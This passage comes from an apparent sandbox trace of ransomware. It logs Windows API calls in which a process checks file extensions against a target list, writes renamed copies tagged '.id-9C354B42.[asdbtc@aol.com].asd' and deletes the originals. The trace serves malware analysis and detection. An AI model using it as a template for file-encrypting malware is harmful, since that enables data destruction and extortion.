Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0051.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.929] lstrlenW (lpString=".doc") returned 4 [0051.929] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0051.929] lstrlenW (lpString=".docx") returned 5 [0051.929] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0051.929] lstrlenW (lpString=".pdf") returned 4 [0051.929] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0051.929] lstrlenW (lpString=".xls") returned 4 [0051.929] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0051.929] lstrlenW (lpString=".xlsx") returned 5 [0051.929] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0051.930] lstrlenW (lpString=".ppt") returned 4 [0051.930] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0051.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.930] lstrlenW (lpString=".zip") returned 4 [0051.930] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0051.930] lstrlenW (lpString=".rar") returned 4 [0051.930] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0051.930] lstrlenW (lpString=".bz2") returned 4 [0051.930] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0051.930] lstrlenW (lpString=".7z") returned 3 [0051.930] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0051.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.930] lstrlenW (lpString=".dbf") returned 4 [0051.930] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0051.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.930] lstrlenW (lpString=".1cd") returned 4 [0051.930] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0051.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.930] lstrlenW (lpString=".jpg") returned 4 [0051.930] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0051.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.930] lstrlenW (lpString=".doc") returned 4 [0051.930] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0051.930] lstrlenW (lpString=".docx") returned 5 [0051.930] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0051.930] lstrlenW (lpString=".pdf") returned 4 [0051.930] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0051.930] lstrlenW (lpString=".xls") returned 4 [0051.930] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0051.930] lstrlenW (lpString=".xlsx") returned 5 [0051.931] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0051.931] lstrlenW (lpString=".ppt") returned 4 [0051.931] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0051.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.931] lstrlenW (lpString=".zip") returned 4 [0051.931] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0051.931] lstrlenW (lpString=".rar") returned 4 [0051.931] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0051.931] lstrlenW (lpString=".bz2") returned 4 [0051.931] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0051.931] lstrlenW (lpString=".7z") returned 3 [0051.931] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0051.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.931] lstrlenW (lpString=".dbf") returned 4 [0051.931] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0051.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.931] lstrlenW (lpString=".1cd") returned 4 [0051.931] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0051.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0051.931] lstrlenW (lpString=".jpg") returned 4 [0051.931] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0051.931] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.931] lstrlenW (lpString="DATES.XML") returned 9 [0051.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.932] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=8918) returned 1 [0051.932] CloseHandle (hObject=0x204) returned 1 [0051.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0051.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.932] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.932] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0051.934] GetLastError () returned 0x0 [0051.934] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x22d6, lpOverlapped=0x0) returned 1 [0051.937] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0051.939] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0051.939] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.939] SetEndOfFile (hFile=0x1f4) returned 1 [0051.939] CloseHandle (hObject=0x1f4) returned 1 [0051.942] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.942] SetEndOfFile (hFile=0x204) returned 1 [0051.943] CloseHandle (hObject=0x204) returned 1 [0051.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.943] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0051.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.944] lstrlenW (lpString=".doc") returned 4 [0051.944] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.944] lstrlenW (lpString=".docx") returned 5 [0051.944] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0051.944] lstrlenW (lpString=".pdf") returned 4 [0051.944] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.944] lstrlenW (lpString=".xls") returned 4 [0051.944] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.944] lstrlenW (lpString=".xlsx") returned 5 [0051.944] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0051.944] lstrlenW (lpString=".ppt") returned 4 [0051.944] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.944] lstrlenW (lpString=".zip") returned 4 [0051.944] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.944] lstrlenW (lpString=".rar") returned 4 [0051.944] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.944] lstrlenW (lpString=".bz2") returned 4 [0051.944] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.944] lstrlenW (lpString=".7z") returned 3 [0051.944] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.944] lstrlenW (lpString=".dbf") returned 4 [0051.944] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.944] lstrlenW (lpString=".1cd") returned 4 [0051.944] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.944] lstrlenW (lpString=".jpg") returned 4 [0051.944] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.945] lstrlenW (lpString=".doc") returned 4 [0051.945] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.945] lstrlenW (lpString=".docx") returned 5 [0051.945] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0051.945] lstrlenW (lpString=".pdf") returned 4 [0051.945] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.945] lstrlenW (lpString=".xls") returned 4 [0051.945] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.945] lstrlenW (lpString=".xlsx") returned 5 [0051.945] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0051.945] lstrlenW (lpString=".ppt") returned 4 [0051.945] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.945] lstrlenW (lpString=".zip") returned 4 [0051.945] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.945] lstrlenW (lpString=".rar") returned 4 [0051.945] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.945] lstrlenW (lpString=".bz2") returned 4 [0051.945] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.945] lstrlenW (lpString=".7z") returned 3 [0051.945] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.945] lstrlenW (lpString=".dbf") returned 4 [0051.945] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.945] lstrlenW (lpString=".1cd") returned 4 [0051.945] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0051.945] lstrlenW (lpString=".jpg") returned 4 [0051.945] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.946] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.946] lstrlenW (lpString="PHONE.XML") returned 9 [0051.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.946] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1844) returned 1 [0051.946] CloseHandle (hObject=0x204) returned 1 [0051.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0051.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.952] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.952] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0051.952] GetLastError () returned 0x0 [0051.952] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x734, lpOverlapped=0x0) returned 1 [0051.957] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x740, lpOverlapped=0x0) returned 1 [0051.958] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0051.958] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.958] SetEndOfFile (hFile=0x1f4) returned 1 [0051.958] CloseHandle (hObject=0x1f4) returned 1 [0051.959] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.959] SetEndOfFile (hFile=0x204) returned 1 [0051.959] CloseHandle (hObject=0x204) returned 1 [0051.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.960] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0051.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.960] lstrlenW (lpString=".doc") returned 4 [0051.960] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.960] lstrlenW (lpString=".docx") returned 5 [0051.960] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0051.960] lstrlenW (lpString=".pdf") returned 4 [0051.960] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.960] lstrlenW (lpString=".xls") returned 4 [0051.960] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.960] lstrlenW (lpString=".xlsx") returned 5 [0051.960] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0051.960] lstrlenW (lpString=".ppt") returned 4 [0051.960] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.960] lstrlenW (lpString=".zip") returned 4 [0051.960] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.960] lstrlenW (lpString=".rar") returned 4 [0051.960] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.960] lstrlenW (lpString=".bz2") returned 4 [0051.961] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.961] lstrlenW (lpString=".7z") returned 3 [0051.961] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.961] lstrlenW (lpString=".dbf") returned 4 [0051.961] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.961] lstrlenW (lpString=".1cd") returned 4 [0051.961] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.961] lstrlenW (lpString=".jpg") returned 4 [0051.961] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.961] lstrlenW (lpString=".doc") returned 4 [0051.961] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.961] lstrlenW (lpString=".docx") returned 5 [0051.961] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0051.961] lstrlenW (lpString=".pdf") returned 4 [0051.961] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.961] lstrlenW (lpString=".xls") returned 4 [0051.961] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.961] lstrlenW (lpString=".xlsx") returned 5 [0051.961] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0051.961] lstrlenW (lpString=".ppt") returned 4 [0051.961] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.961] lstrlenW (lpString=".zip") returned 4 [0051.961] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.961] lstrlenW (lpString=".rar") returned 4 [0051.961] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.961] lstrlenW (lpString=".bz2") returned 4 [0051.962] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.962] lstrlenW (lpString=".7z") returned 3 [0051.962] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.962] lstrlenW (lpString=".dbf") returned 4 [0051.962] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.962] lstrlenW (lpString=".1cd") returned 4 [0051.962] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0051.962] lstrlenW (lpString=".jpg") returned 4 [0051.962] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.962] lstrcmpiW (lpString1=".DAT", lpString2=".asd") returned 1 [0051.962] lstrlenW (lpString="STOCKS.DAT") returned 10 [0051.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.987] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=39017) returned 1 [0051.987] CloseHandle (hObject=0x204) returned 1 [0051.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0051.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.988] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.988] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0051.988] GetLastError () returned 0x0 [0051.988] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x9869, lpOverlapped=0x0) returned 1 [0052.015] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x9870, lpOverlapped=0x0) returned 1 [0052.017] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0052.017] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe8, lpOverlapped=0x0) returned 1 [0052.017] SetEndOfFile (hFile=0x1f4) returned 1 [0052.017] CloseHandle (hObject=0x1f4) returned 1 [0052.017] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.017] SetEndOfFile (hFile=0x204) returned 1 [0052.018] CloseHandle (hObject=0x204) returned 1 [0052.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0052.019] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart 